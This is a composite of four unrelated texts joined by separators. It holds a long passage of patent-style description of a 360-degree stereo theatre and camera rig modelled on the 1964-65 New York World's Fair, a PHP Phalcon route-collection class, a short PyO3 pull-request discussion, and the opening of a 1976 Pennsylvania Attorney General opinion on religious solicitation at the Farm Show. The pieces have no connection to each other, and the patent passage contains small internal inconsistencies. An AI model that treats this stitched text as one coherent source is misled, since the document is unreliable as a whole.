The following location is assumed to represent the actual location of each respective structure and feature in said World's Fair. For simplicity, said location of each said structure is represented by a single symbol "o", comprising its first location. A second location (not shown) for each structure is assumed to orient said structure in relation to its first location.
Therefore, the location of said structure (pavilion) is described in the same manner as similar locations in each similar mosaic heretofore described in FIGS. 6, 7, and 8.
Tricentennial Pool 77 is assumed to be located at an irregular location which does not correspond to any point in the mosaic of star X. FIG. 11 shows two adjustable girders, 108 and 109, respectively, comprising the structure to connect an irregular location to a mosaic.
Therefore, the hexagon in FIG. 9 comprising said area to be photographed comprises six segments, each separated by its respective avenue from point Z, and each designated by its respective segment of hexagon G'H'I'J'K'L'.
First segment G'H' comprises the following structures. The Pavilion of Africa 87 comprises location H'g*H'-d. The Pavilion of Pakistan 89 comprises location H'-c*H'-b. The Pavilion of Malaysia 90 comprises location H'-e*H'-b. The Pavilion of Sierra Leone 99 comprises location G'-b*G'-c.
Second segment H'I' comprises the Pavilion of New Jersey 88 at location I'-d*I'-c.
Third segment I'J' comprises Tricentennial Pool 77, at an irregular location shown in FIG. 11, as discussed supra: and Pavilion of New York City 78, at location I'-b*I'-f.
Fourth segment J'K' comprises the Pavilion of New England 79, at location J'-d*J'-f.
Fifth segment K'L' comprises the Pavilion of Fine Arts 80 at location L'-c*L'-b, the Pavilion of Thailand 81 at location K'-b*K'-d, and the Pavilion of Mexico 82 at location K'-d*K'-g.
Sixth segment L'M' comprises Caribbean Pavilion 83 at location L'-d*L'-e, Republic of China Pavilion 84 at location L'-e*L'-f, the Pavilion of the Philippines 85 at location G'-f*G'-e, the Pavilion of Greece 86 at location G'-e*G'-d, the Court of Peace 69 at location G'-f*G'-c, the Pavilion of Central America (Panama) 91 at location L'-b*L'-c, the Pavilion of Indonesia 92 at location L'-b*L'-d, the Pavilion of Polynesia 93 at location L'-c*L'-e, the Pavilion of the U.A.R. 94 at its location G'-e*G'-b, the Pavilion of Lebanon 95 at location G'-e*G'-c, the Pavilion of Jordan 96 at location G'-d*G'-b, the Pavilion of Sudan 97 at location G'-c*G'-b, and the Pavilion of Morocco 98 at location G'-d*G'-c.
Therefore, in FIG. 9, the live stage replacing the Unisphere at the center of a selected exposition, comprises a mosaic which extends circumferentially to include the vastly larger exposition to be photographed circumferentially, comprising the New York World's Fair of 1964-1965. Therefore the entire mosaic which includes the central live stage and also the larger exposition, is characterized by the nine efficiencies, similarly to the live stages and models shown in FIGS. 6, 7, and 8.
FIG. 10 will show the structure of a stereo camera 103 adapted to photograph the entire environment of the observor, 360 degrees horizontally, and 360 degrees vertically or in any selected inclined plane.
Therefore the said exposition in FIG. 9 may be photographed by camera 103 in color, in stereo (three dimensions), and displayed for an observor in the central stage viewing a circumferential display of said stereo photography.
As will be shown in FIGS. 11 thru 14, said observor seated in said central stage in the midst of the live fountains, and observing the New York World's Fair in a 360 degree display horizontally and vertically, experiences and senses, in three dimensional color, the immediacy of the live New York World's Fair shown in FIG. 9, altho said exposition has long since been demolished in 1965.
The Camera
FIG. 10 shows camera 103, shown in the drawing as a stereo (three dimensional) camera, and its associated means adapted to photograph the scene shown in FIG. 9, with the results described therein. FIG. 10-a shows a horizontal view, enlarged, of detail of horizontal index XI of said camera. FIG. 10-b shows a vertical view, enlarged, of vertical index XII for said camera. FIG. 10-c shows a vertical view of said camera and its associated means, including boom 101 in an upright position.
In FIG. 1-a, the horizontal index comprises star XI shown in solid lines and comprising its vertices A thru F of hexagon ABCDEF. Each said vertex of star XI corresponds to the respective segment of the exposition to be photographed for display, shown in FIG. 9, said respective segment adjacent to the corresponding vertex of star X in FIG. 9. Horizontal locator 100 comprises a device to locate the position of camera mount 100-a horizontally, corresponding to said vertex A of star X adjacent to its respective segment to be photographed, designated segment L'G'.
In FIG. 10-a, the detail of horizontal locator 100 is shown in a horizontal view, and in a vertical view. Said horizontal view comprises said camera mount 100-a with its horizontal index pin 100-b held depressed by a spring until disengaged by a lifter. Said vertical view shows vertex A of star XI, comprising its locating hole 100-c, a 1/8" hole drilled in its respective connector. A similar locating hole corresponding to hole 100-c is drilled in each vertex B thru F, respectively.
In FIG. 10-c, horizontal index XI is shown mounted horizontally on boom 101 in its upright position, engaged by locator 100 comprising locating pin 100-b (not shown) connecting camera mount 100-a to locating hole 100-c at vertex A of said horizontal index.
In FIG. 10-b, the vertical index comprises star XII shown in two vertical views and comprising its vertices A thru F of hexagon ABCDEF. Vertex A of said vertical index comprises a position parallel to the structures and landscape of the exposition to be photographed for display shown in FIG. 9. Vertical locator 102 comprises a device to fix the vertical position of camera 103.
In FIG. 10-b, the detail of locator 102 is similar to the detail of locator 100 shown in FIG. 10-a. In FIG. 10-b, the vertical locator comprises camera frame 102-a of camera 103, with its vertical index pin 102-b (not shown). Vertex A of star XII comprises its locating hole 102-c, a 1/8" hole drilled in its respective connector. A similar locating hole corresponding to hole 102-c is drilled in each vertex B thru F, respectively.
In FIG. 10-c, vertical index XII is shown mounted vertically on camera mount 100-a, engaged by locator 102 comprising locating pin 102-b (not shown) connecting camera frame 102-a to locating hole 102-c at vertex A of said vertical index.
Therefore, in FIG. 10-c, with horizontal locator 100 and vertical locator 102 each positioned at its respective vertex A, stereo camera 103 is adapted to photograph segment L'G' of the exposition shown in FIG. 9, said segment corresponding to the vertex A of its corresponding star X.
FIG. 10-c comprises the following. Stereo camera 103 comprises two lenses separated horizontally by the usual interpupillary distance of approximately 2.45". Said two lenses normally are horizontal in relation to each other.
Boom 101 is shown in an upright position. Camera mount 100-a rotates around its point 106' in a horizontal plane in relation to boom 101, on third pivot 106 which comprises a flat bearing which supports said camera mount in its horizontal plane. The center of said third pivot comprises point Z, the center of star XI which comprises the horizontal index for said camera mount.
Camera 103 is shown in a horizontal position. Its frame 102-a rotates in a vertical plane supported between two single-point pivots, first pivot 104 and second pivot 105. The center of said vertical plane is point Z', the center of star XII which comprises the vertical index for camera 103 and its frame 102-a.
Therefore, when camera mount 100-a is positioned by locator 100 at each successive vertex A thru F of the horizontal index comprising star XI, stereo camera 103 photographs each respective segment of the exposition adjacent to the corresponding vertex of star X in FIG. 9.
With camera frame 102-a of camera 103 positioned by locator 102 at vertex B (or C) of the vertical index comprising star XII, and camera mount 100-a positioned by locator 102 at each successive vertex A thru F of the horizontal index comprising star XI, stereo camera 103 photographs the hexagon comprising the environment circumferentially, at an angle of elevation 60 degrees above the horizontal plane photographed with the vertical index comprising star XII located at its vertex A.
Similarly, with locator 102 at vertex F (or E) of star XII, camera 103 photographs the hexagon comprising the environment at an angle 60 degrees below the horizontal plane photographed with star XII located at vertex A.
Therefore, FIG. 10 shows the structure of a stereo camera 103 adapted to photograph the entire environment of the observor, 360 degrees horizontally, and 360 degrees vertically including 180 degrees vertically overhead.
Alternatively, as shown by lines of dashes in FIG. 10-a, if the horizontal field of the lenses of camera 103 comprises 30 degrees, it is apparent that a point A' may be located at distance ZA from the center A, by an adjustable girder similar to girder 108 shown and described in FIG. 11. The connector at vertex A' comprises an 1/8" hole similar to locating hole 100-c at vertex A. Star XI' with its center at Z, constructed with its six vertices A' thru Z', therefore comprises the vertices of a second hexagon dividing said exposition in FIG. 9 into twelve segments, photographed by camera 103 in FIG. 10 with its horizontal locator 100 positioned successively at each of the twelve vertices of said two hexagons.
If the vertical field of said lenses of stereo camera 103 is 30 degrees, it is apparent that star XII comprising said vertical index similarly may be divided into twelve segments, photographed by camera 103 successively.
The angles comprising the respective horizontal and vertical fields for many lenses are detailed in American Cinematographer Manual by Joseph Mascelli, Hollywood, Calif., American Society of Cinematographers, 2nd edition, 1960, including pages 175-183.
Alternatively, it is apparent that a vertex similar to A' comprising a locating hole similar to hole 100-c, may be located selectively at any desired point comprising a second vertex, by a pair of adjustable girders similar to 108 and 109 represented by lines of dashes at vertex A' connecting vertices A and B in FIG. 10-a, and shown and described in FIG. 11. The segment of star XI comprising the horizontal index therefore may be selected to correspond to the respective horizontal or vertical fields of any pair of lenses selected for stereo camera 103. Any plurality of vertices similar to said second vertex similarly may be constructed. Therefore said exposition shown in FIG. 9 may be photographed by camera 103 in any selected horizontal or vertical segments corresponding to the selected pair of lenses of said stereo camera 103.
It is apparent that said star XI comprising horizontal index XI, and star XII comprising vertical index XII, may be removable, and selectively replaced by an alternative said index or indices, each comprising it locating holes 100-c and 102-c respectively, in any desired positions or combinations of said holes.
Alternatively, it is further apparent that any said desired positions, or combinations thereof, may comprise a plurality of holes 100-c and 102-c, each said hole readily adjustable as to location; or equivalent means in predetermined locations, in preset locations, or in selected locations.
The axis thru the center of both of the dual lenses of camera 103 shown in FIG. 10-a, normally is horizontal. Therefore, with boom 101 in its upright position, said lenses may photograph the hexagon comprising the circumference of a plane 360 degrees horizontally, and at least 180 degrees vertically overhead, without interference by said boom in the field of said camera.
If it is desired similarly to photograph 360 degrees vertically without interference by said boom, said boom is fixed in a horizontal position. Camera 103 is engaged by first pivot 104 and second pivot 105 each at its respective alternate point 104" and 105" shown in FIG. 10-c, with each said pivot adjusted whereby camera 103 is supported while rotating. Thus adapted, star XI comprising the "horizontal index" is converted into a vertical index, otherwise functioning in its usual manner.
The normal relationship between the two following planes, star XI comprising the horizontal index and star XII comprising the vertical index, is a right angle as shown in FIG. 10-c. Said right angle is determined by the connection of the flat bearing comprising third pivot 106, to position 106' on the hexagonal circumference of camera mount 100-a, as shown in FIG. 10-c.
For special effects, or with selected lenses, or with camera 103 comprising a single lens, said camera 106 may be adapted to rotate 360 degrees in any inclined plane by changing the angle between said two planes. For that purpose, said connection of third pivot 106 selectively is changed to position 106" shown on camera mount 100-a. Alternatively, it is apparent that said connection selectively may comprise any position (not shown) in camera mount 100-a extended in a plane 360 degrees around camera 103.
It is apparent that star XI comprising the horizontal index, and star XII comprising the vertical index, alternatively may comprise a single plane of material such as metal or plastic, said plane comprising center Z and a selected plurality of locating holes similar to 100-c, each said hole corresponding to a vertex; said single plane comprising an alternative structure as described in FIG. 1.
It is apparent that camera 103 alternatively may comprise a stereo motion picture camera instead of the camera shown in FIG. 10 which photographs a stereo pair. Said motion picture camera selectively may photograph any segment of the environment, as shown hereafter in FIG. 14-d.
Further, camera 103 alternatively may comprise a camera with a single lens, adapted to take photographs such as a slide for each segment of the environment heretofore shown and described, each said slide projected by a projector with a single lens onto a screen, for example a cyclorama on all sides of the observor 360 degrees horizontally, and 360 degrees vertically (or 180 degrees overhead). Said projection may be viewed by an observor without special glasses or viewing devices to transmit separate images to said observor's right and left eye.
Alternatively, camera 103 may comprise any structure or system for taking stereo photographs, and viewing them, without the necessity to use said special glasses or devices for viewing, including said systems (without projection) with screens comprising electronic images, and "Xograph" reproductions, for example, by Cowles Communications, Inc., 488 Madison Ave., NY, NY.
In FIG. 10, camera 103 comprises two lenses adapted to take two photographs simultaneously comprising a stereo pair, in the manner well known in the art of stereo photography.
The right and left images of said stereo pair may be projected separately by the dual lenses of a stereo projector, the light thru first lens of said dual lens polarized horizontally to project said right image, and the light thru the second lens of said dual lens polarized vertically to project said left image. Said two images are projected on a screen adapted to reflect said light, said reflected light retaining its respective polarity. Therefore an observor wearing special glasses 107 shown in FIG. 15-a, said glasses comprising polarized lenses adapted each to transmit only its respective said image, views said right image only with his right eye, and said left image only with his left eye.
An observor viewing the projection of said stereo pair comprising a single segment of the exposition shown in FIG. 9, experiences three dimensional color to the horizon in that single segment comprising all pavilions and features of the exposition, experienced in three dimensions with the sense of reality known as the "window effect" observed in said single segment of said exposition.
In this invention, the images photographed by stereo camera 103 in FIG. 10 dissolve the limitation imposed by said "window effect". Said window disappears into an experience of the total immediacy of complete reality.
Therefore said observor, viewing from said central stage in the midst of the live fountains with real water flowing as shown in FIG. 9, sees said New York World's Fair in a 360 degree display horizontally and 180 degrees vertically overhead in three dimensional color. Said observor experiences and senses by sight and sound the immediacy of the live New York World's Fair shown in FIG. 9, altho said exposition has long since been demolished in 1965.
TOTAL THEATRE--360 DEGREE HORIZONTAL, 360 DEGREE VERTICAL, AND INCLINED HEXAGONS
For simplicity, the heading immediately above refers to said horizontal hexagon and said vertical hexagon. Said horizontal hexagon is shown in FIG. 9, comprising the said exposition to be photographed by a camera lens photographing a horizontal field of 60 degrees. FIG. 10 shows and describes cameras which photograph horizontal, vertical, and inclined fields comprising a broad range of angles.
Therefore said horizontal hexagon and said vertical hexagon selectively are replaced by alternative structures adapted, for example, to the respective horizontal and vertical angles of the selected lens of said camera.
Central Stage (FIG. 9)--First Segment of 360 Degree Vertical Spectacular
The first horizontal segment of a 360 degree vertical spectacular, is shown in FIG. 11.
FIG. 11 shows a horizontal view of star XIII, similar to star X comprising the central stage in FIG. 9. Said star XIII is situated in an amphitheatre adapted for display of the stereo spectacular comprising the exposition represented in FIG. 9 by the hexagon G' and L' surrounding said central stage 360 degrees circumferentially. FIG. 11-a shows a horizontal view of said amphitheatre, and FIG. 11-b shows a vertical view.
In FIG. 11-a, said amphitheatre comprises star XIII', as follows. Structural element 1 of star XIII' comprises a girder with thirteen locations similar to structural element 1 in star VII, shown in FIG. 6, except that the standard increment between locations in star XIII' is twenty-four feet, with said structural element 1 comprising 288 feet between locations 1-a and 1-m. Structural elements 2 thru 6 of star XIII' are similar to structural element 1.
In FIG. 11-a, adjustable girders to determine an irregular location comprise first and second adjustable girders, 108 and 109 respectively.
In FIG. 11-a, six vertical supports are connected to star XIII' similarly to the vertical supports associated with star VII in FIG. 6, except proportionately larger in FIG. 11-a, each said vertical support connecting the next adjacent vertex successively, with said vertices designated A' thru F'. The upper limit of said vertical supports, represented by arrows in FIG. 11-b and now shown therein, selectively corresponds to the dimensions and structure of the screen, cyclorama 110, supported thereby. FIG. 12-b shows a screen thus supported comprising 180 degrees vertically. FIG. 11-b shows the first horizontal segment of a 180 degree vertical spectacular, with the selected angle of elevation of the top of said first segment represented therein by lines of dashes designated 30 degrees, 45 degrees, and 60 degrees, respectively.
In FIG. 11-a, star XIII comprises the central stage with six fountains, designated 75-a thru 75-f, similarly to star X in FIG. 9, similarly located at vertices G thru L of star XIII, respectively. In FIG. 11-a, first structural element 1 of star XIII comprises seven locations, each adjacent location separated by a standard increment of twenty-four feet. Therefore the distance of 144' between said first and seventh locations comprises the same total length as structural element 1 of star X in FIG. 9. In FIG. 11-a, each structural element 2 thru 6 is similar to structural element 1.
Therefore star XIII in FIG. 11-a is identical to star X in FIG. 9, except for the extra locations resulting from the shorter minimum increment comprising the mosaic of locations in FIG. 11-a.
In FIG. 11-a, vertex A of star XIII is connected to location 5'-g of structural element 5'. Each of the additional five vertices of star XIII, designated B thru F, is connected to the corresponding location "g" of each structural element 1', 6', 2', 4', and 3', respectively.
The spectacular shown in FIG. 11 comprises a live stage comprising star XIII in the central area surrounded by the horizontal hexagon 360 degrees circumferentially, said hexagon comprising a representation of the structures and landscape of the New York World's Fair exposition in 1964-1965. Said exposition is represented in said spectacular by the color stereo views of said exposition photographed in FIG. 9. Each vertex A thru F of star XIII corresponds to the respective horizontal segment adjacent to the corresponding vertex of star X in FIG. 9.
Said color stereo views of said exposition selectively may be displayed in said spectacular in many alternative structures, in respective embodiments.
In FIG. 11, said embodiment comprises stereo projector 111 to project stereo pairs, detail shown in FIGS. 15-e and 15-f, said projector shown in FIG. 11-a at point Z comprising the center of star XIII.
Alternatively, exhibition of color stereo views of said exposition selectively may comprise seven embodiments, as follows.
In the first alternative embodiment, camera 103 in FIG. 10 comprises two color television cameras, as follows. Cyclorama 110 comprises, for example, a cathode ray tube, or an electronic screen for the reproduction, for example, of color videotape, recorded stereo pairs, or Xograph views (described infra).
FIG. 9 shows the horizontal hexagon comprising an exposition to be photographed 360 degrees circumferentially. FIG. 10 shows stereo camera 103 selectively with a lens comprising a 120 degree horizontal camera angle to photgraph said exposition. FIG. 15-a shows the horizontal display of said exposition, photographed and displayed by three stereo color cameras each with a horizontal camera angle of 120 degrees.
In a first alternative embodiment, each of the dual lenses of camera 103 comprises a color television camera adapted to record on first and second videotapes a color image (still or moving) by a lens with a horizontal angle of 120 degrees, said camera mount adapted to pan horizontally at a uniform speed in the manner well known in the art of color videotape production. Said camera is panned 360 degrees horizontally to record the 360 degree panorama on said two (circumferential) videotapes.
Display at the frequency of 24 frames per second, for example, shows a steady picture to the observor's eye as the result of persistence of vision. Said two videotapes are displayed circumferentially each 1/24th second. Alternatively, said videotapes are displayed similarly, in segments, for example as shown in FIG. 15-a.
The vertical displays shown in FIGS. 15-b and 15-c are similar to the horizontal display described in the preceding paragraph.
Therefore FIGS. 9, 10, and 15 show an embodiment for display of horizontal and vertical hexagons 360 degrees circumferentially, said display comprising, for example, videotape recordings of three-dimensional stereo in color.
As the second alternative embodiment, camera 103 in FIG. 10 comprises a camera to photograph stereo views with special equipment known as the "Xograph" method, described supra. Said Xograph views are reproduced for display on cyclorama 110 in FIG. 11, said display to be viewed by natural vision without special glasses for the observor. Alternatively, said Xograph views may be projected by exterior rear view projection onto cyclorama 110 comprising a translucent screen for viewing by an observor on the opposite side of said cyclorama, said observor viewing from the interior of said amphitheatre.
As the third alternative embodiment, said stereo pairs are projected by said exterior rear view projection.
As the fourth alternative embodiment, projector 111 comprises a stereo motion picture projector for at least one segment of said exposition, as shown in FIG. 14-d.
As the fifth alternative embodiment, selected projectors comprising components of projector 111 are positioned in a peripheral location, as shown in FIGS. 14-b and 14-c.
As the sixth alternative embodiment, said stereo pairs or Xograph views, each present a horizontal field other than 60 degrees, for exhibition by any of the foregoing structures, or for projection by a projector adapted to said horizontsl field. Embodiments of examples of said projectors are shown in FIGS. 15-a, 15-b, 15-c, and 15-d.
As the seventh alternative embodiment, said spectacular comprises other methods for achieving a three-dimensional sensation without use of special glasses by the observor.
As an eighth alternative embodiment, said spectacular comprises any structure similar to the foregoing alternatives, except comprising two-dimensional views rather than three-dimensional views, selectively in black and white, or in color.
It is apparent that many other embodiments comprising equivalent means may be achieved within the spirit of this invention.
Each of the foregoing embodiments for display in said spectacular, comprise alternative embodiments for each of FIGS. 12, 13, and 14, except as specifically stated otherwise.
In FIG. 11-a, the Tricentennial Pool comprises a fountain with its center designated 77. A special irregular location for Tricentennial fountain 77 is determined by the first adjustable girder 108, its fixed location 108-a at location 4'-d, and its adjustable location 108-b adjusted to correspond to the location of said fountain 77. Similarly, second adjustable girder 109 comprises its fixed location 109-a at location 6'-j, and its adjustable location 109-b adjusted to correspond to the location of said fountain 77.
The conjunction of the adjusted locations b of each of adjustable girders 108 and 109, therefore determines the location of fountain 77.
The detail of first adjustable girder 108 is shown in the detail drawing annexed to FIG 11-a. As shown therein, the variable relationship between locations 108-b in first subgirder 108-c, and 108-a in second subgirder 108-d, selectively is fixed by tightening at least one fastener.
It is apparent alternatively that said structural elements in FIG. 11-a may comprise locations with integral connectors as shown in FIG. 16, whereby the horizontal angle of second subgirder 108-d is determined by its respective hexagonal protrusion (corresponding to protrusion 3'-a-5 in FIG. 16) engaging the hexagonal recess of location 4'-d (corresponding to hexagonal recess 2'-a-1 in FIG. 16). In FIG. 11-a, with location 108-b of first subgirder 108-c then fixed in the usual manner, the exact position of location 108-b is fixed, without the necessity for a second adjustable girder 109.
Therefore the integral connector shown in FIG. 16 comprises a structure adapted to determine an irregular location by use of a single adjustable girder.
In the embodiment shown in FIG. 11-a, if it is desired to reloccate Tricentennial fountain 77 at any corresponding location 77' within the mosaic of star XIII, for example adjacent to vertex C', the fixed locations "a" of adjustable girders 108 and 109 are positioned at the corresponding locations of girders 2' and 1', respectively. The intersection of adjustable locations "b" of adjustable girders 108 and 109 determines the location of Tricentennial fountain 77 in the same relationship (shown by lines of dashes) adjacent to vertex C', as the relationship (shown by solid lines) to vertex D'.
Therefore, FIG. 11-a shows adjustable girders characterized by the nine efficiencies in the mosaic of star XIII'. Said girders comprise a structure to determine any irregular location in said mosaic by two adjustable girders. FIG. 11-a further shows a structure to determine any irregular location in tetrahedron 32, a solid, as shown and described in FIG. 4. FIG. 16 shows an integral connector, whereby said irregular location is determined by a single adjustable girder.
In summary, in FIG. 11 the six water fountains 75 create a live scene on the central stage, similar to actual fountains at the Unisphere of the New York World's Fair, the exposition in 1964-1965 shown in FIG. 9. With the water turned off in said fountains at the time of photographing said exposition, the color stereo is viewed on cyclorama 110, and comprises the first segment of the 180 degree vertical spectacular overhead.
In FIGS. 11-a and 11-b, with each fountain 75 on the live central stage releasing two arcs of water, the observor in the amphitheatre views total theatre comprising the horizontal hexagon of 360 degrees supporting the cyclorama displaying three dimensional color stereo with lines of sight to the horizon. Thus simultaneously, the live fountains in the foreground combine the live immediacy of flowing water experienced by all the senses of said observor including sight, hearing, and tactile senses, with the complete realism experienced in the stereo color, audio, and selectively movement, in the horizontal vista of the New York World's Fair displayed on cyclorama 110 beyond the live foreground.
It is apparent that said live central stage may comprise any selected live experience or entertainment, for example the theatre-in-the-round shown in FIG. 13.
Also shown is a structure to determine any irregular location, with the nine efficiencies thruout the mosaic of star XIII', by use of at least one adjustable girder.
Centrifugal Audience, 180 Degree Vertical or Inclined Spectacular
FIG. 12 shows the live stage comprising star XIII in FIG. 11, with a "centrifugal" audience viewing the spectacular shown in FIG. 11, in an amphitheatre adapted to display the entire vertical spectacular overhead comprising 180 degrees.
In FIG. 12-a, the central live stage in a horizontal view comprises star XIII at audience (i.e., stage) level, with its six live fountains 75-a thru 75-f located at vertices G thru L of star XIII, similarly to FIG. 11.
In FIG. 12-a, star XIII additionally comprises seats 113 facing "centrifugal ly," i.e. facing towards the outside of the amphitheatre, with the audience seated amidst the said fountains on said live stage. The "front row" of said seats, said row designated 113-a, is closest to cyclorama 114. Said row comprises 360 degrees of seats circumferentially, with six segments of seats, each segment corresponding to one of the six successive vertices of star XIII designated A thru F. Each segment of seats 113 is separated from its adjacent segment by an aisle. Seats 113 comprises twelve additional rows similar to row 113-a, designated successively row 113-b thru row 113-n.
Side CZ of triangle GZL comprises three locations, separated from each adjacent location by the standard increment of twenty-four feet. Said rows of seats 113 are equally spaced, whereby six rows intersect said side GZ between said adjacent locations, each said row thus comprising four feet on said side GZ, and each said row comprising its adjacent aisles. Sides GZ and ZL comprise girders with adjacent locations separated by a standard increment of four feet. Therefore in the first segment of seats 113 adjacent to vertex A, each of rows 113-e thru 113-n are positioned by the corresponding locations of girders GZ and ZL, respectively. Rows 113-a thru 113-d are located similarly between extensions of said girders ZG and AL. FIG. 14-a shows an alternative embodiment, with each row of each segment of seats 122 comprising a row of seats in a straight line. In FIG. 12-a, each row of each segment of seats 113 comprises an arc connecting its respective locations, said arc corresponding to said straight line of seats shown in FIG. 14-a.
In this embodiment, the display on cyclorama 114 is projected by projector 111 situated at center Z, similarly to FIG. 11. Eight alternative embodiments are described supra in FIG. 11.
In FIG. 12-a, vertical support 112 comprises first vertical support 112-a connected to vertices A and B, and five additional vertical supports 112-b thru 112-f connected in the usual manner to the successive vertices of star XIII. In FIG. 12-b, said vertical supports are connected to start XIV comprising a plane similar to star XIII and parallel thereto. Said vertical supports correspond to vertical supports 16 thru 21 in FIG. 3, therein supporting parallel planes II and IV, corresponding to starts XIV and XIII respectively, in FIG. 12-b.
The detail of construction of first vertical support 112-a in FIG. 12-b corresponds to the detail of vertical support 16 in FIG. 3-b, except that star XIV in FIG. 12-b corresponds to a fourth parallel plane not shown in FIG. 3-b, positioned above said star II and separated by a vertical distance equal to the distance between adjacent parallel planes shown therein. In FIG. 12-b, each vertical support 112 comprises a supporting structure with dimensions proportionately corresponding to the dimensions of vertical support 16 shown in FIG. 3.
In FIG. 12-b in a vertical view, cyclorama 114 comprising a display screen is supported by girders (not shown) adjacent to said vertical supports and horizontal plane, at each vertex of star XIV, connected to cyclorama 114 as shown in FIGS. 1 thru 4, and by the adjustable girders in FIG. 11.
As an alternative structure, cyclorama 114 comprises the contour of a hemisphere achieved by a balloon corresponding to cyclorama 114 in FIGS. 12-a and 12-b, inflated at low pressure by an air compressor or by air tanks, and entered thru leak-resistant entrances, as well known in the art of constructing inflated, portable structures. In each embodiment comprising polarized light, said balloon comprises a surface which retains the respective polarity of light reflected therefrom.
It is apparent that the supporting structure for cyclorama 114 may comprise other embodiments in the spirit of this invention, including tetrahedron 32 and a plurality thereof.
In summary, FIG. 12 shows total theatre. The spectacular shown in FIG. 11, with live stage and stereo color, are combined in an amphitheatre comprising a hexagon 360 degrees circumferentially, and 180 degrees vertically and selectively at any inclined plane, with the centrifugal audience seated therein.
Centripetal Audience (Example, Theatre-In-the-Round)
FIG. 13 shows a live stage comprising stars XVI-a and XVI-b at the center of a spectacular corresponding to the amphitheatre shown in FIG. 12, except with a "centripetal" audience facing the center of said amphitheatre, and therefore viewing some portion of the circumferential display of said spectacular beyond said live stage in the foreground.
In FIG. 13, the central, live stage comprises two planes as follows. First plane, star XVI-a in a vertical view in FIG. 13-b, comprises the performing stage with any selected stage setting. In a horizontal view in FIG. 13-a, second plane, star XVI-b, comprises the overhead light bridges and special effects. An example of said central, live stage is a theatre-in-the-round. Star XVI corresponds to the two levels of the live sound stage shown in FIGS. 6 and 7. Vertical supports 119 support two parallel planes and correspond to the six vertical supports described supra in FIG. 7, with detail of construction shown in FIG. 3-b. Each structural element of star XVI is 81' in length, comprising 28 locations with standard increment of 3' separating each adjacent location.
|
<?php
/**
* Created by PhpStorm.
* User: sl
* Date: 2017/12/1
* Time: 下午10:27
* Hope deferred makes the heart sick,but desire fulfilled is a tree of life.
*/
namespace App\Component\Core;
use App\Component\ApiException;
use App\Constants\Core\PointMap;
use App\Constants\ErrorCode;
use App\Constants\Http\Methods;
use Phalcon\Mvc\Micro\Collection;
use Phalcon\Mvc\Micro\CollectionInterface;
class ApiCollection extends Collection implements CollectionInterface
{
protected $points;
protected $name;
protected $controllerName;
protected $metadata;
protected $prefix;
public function __construct(string $className,$lazy = false)
{
$core = Core::getInstance()->setHandle($className);
$class = $className;
if(!$lazy){ //非懒加载,实例化handle
$class = $core->getHandleInstance();
}
$this->setHandler($class);
$this->metadata = $core->getClassValue(PointMap::DEFAULT_GROUP_NAME);//controller group 注释的反射
$this->controllerName = $className;
$this->setName();
$this->setGroupPrefix();
$docMethod = $core->getMethodValue(PointMap::DEFAULT_POINT_NAME);//controller method 的 point 反射
$this->setPrefix($this->prefix);
$this->mountPoint($docMethod);
}
protected function setName()
{
// if(!isset($this->metadata[PointMap::NAME])){
// throw new ApiException(ErrorCode::POST_DATA_INVALID,$this->getControllerName().' group name invalid');
// }
$this->name = $this->metadata[PointMap::NAME] ?? null;
}
protected function setGroupPrefix()
{
$this->prefix = $this->metadata[PointMap::PATH] ?? PointMap::DEFAULT_PATH;
}
public function getName(){
return $this->name;
}
/**
* @return mixed
*/
public function getPoint(){
return $this->points;
}
/**
* @return mixed
*/
public function getMetadata()
{
return $this->metadata;
}
/**
* @param mixed $metadata
*/
public function setMetadata($metadata)
{
$this->metadata = $metadata;
}
/**
* @return mixed
*/
public function getControllerName()
{
return $this->controllerName;
}
/**
* @param mixed $controllerName
*/
public function setControllerName($controllerName)
{
$this->controllerName = $controllerName;
}
protected function mountPoint(array $points)
{
if ($points && count($points) > 0) {
foreach ($points as $handle => $item) {
$point = new Point($item);
$path = $point->getPath();
$method = $point->getMethod();
$handleName = serialize([
App::GROUP=>$this->getMetadata(),
App::POINT=>$item
]);
if ($path && in_array(strtoupper($method),Methods::$ALL_METHODS)) {
if(is_array($path)){
foreach ($path as $value){
$this->$method($value,$handle,$handleName);
}
}else{
$this->$method($path,$handle,$handleName);
}
}else{
throw new ApiException(ErrorCode::POST_DATA_INVALID,"path error or method invalid");
}
}
}
}
}
|
add Bound constructors for PyByteArray and PyMemoryView
Part of #3684
The adds the Bound constructors for PyByteArray and PyMemoryView.
Since the original from constructor used as_ptr(), which returns a borrowed ptr, I used a borrowed &Bound for the new one. Please correct me if I'm wrong here.
Btw, if you are interested in some reviewing as well as coding, I've started keeping a list on #3684, some help getting those reviewed and merged would go a long way towards getting this new API shipped!
Btw, if you are interested in some reviewing as well as coding, I've started keeping a list on #3684, some help getting those reviewed and merged would go a long way towards getting this new API shipped!
I'll have a look and leave some comments.
|
State Farm Show Arena
December 30, 1976
By KANE, Attorney General,
You have requested our opinion regarding the right of the International Movement for Krishna Consciousness to distribute literature, solicit contributions and, in general, propagate their religious beliefs at the Farm Show Complex during the annual Farm Show. Specifically, you have asked whether members of the International Movement for Krishna Consciousness (hereinafter referred to as the “Hare Krishna Movement”), or other religious groups, may, in the exercise of their First Amendment rights, enter the Farm Show Complex during the Farm Show and circulate generally throughout the complex without leasing a designated space for their activities. It is our opinion, and you are hereby advised, that members of the Hare Krishna Movement, and other religious groups, do have a First Amendment right to distribute literature and solicit donations in the Farm Show Complex during the time of the annual Farm Show as long as their activities are peaceful, orderly and do not disrupt the Farm Show or destroy the purpose of the show.
The Farm Show complex is a State-owned building which is controlled by the State Farm Products Show Commission, a bureau within the Department of Agriculture. Among the duties of the State Farm Products Show Commission is the Power, “[t]o formulate plans for, and conduct and manage, exhibitions to embrace exhibits of all agricultural, industrial, and artistic products, including exhibits of all classes of farm products, embracing live stock, dairying, horticulture, all classes of manufacture, industries, and domestic arts, and such other exhibits as will best advance the interests of agriculture and other industries of the Commonwealth.” Act of April 9, 1929, P.L. 177, 71 P.S. §449(a).
Pursuant to this authority, the commission annually stages the Farm Show. During the Farm Show, various persons and organizations are invited to enter and lease a specifically designated area within the complex. Most of the exhibitors are engaged in commercial activities which are related to agriculture. However, various religious and charitable organizations, such as the American Cancer Society and the Pennsylvania State Sunday School Association, have also, in the past, rented space. No exhibitors are allowed to enter the complex and circulate throughout the premises or enter free of charge. All exhibitors are charged a certain fee for their space, dependent upon the amount of space desired and the location of that space. Furthermore, all exhibitors are subject to the same rules set forth in a standard contract agreement. However, the Hare Krishna Movement contends that they should, in the exercise of their First Amendment rights, be permitted to enter the building without leasing space and circulate throughout the Farm Show Complex to proselytize their beliefs.
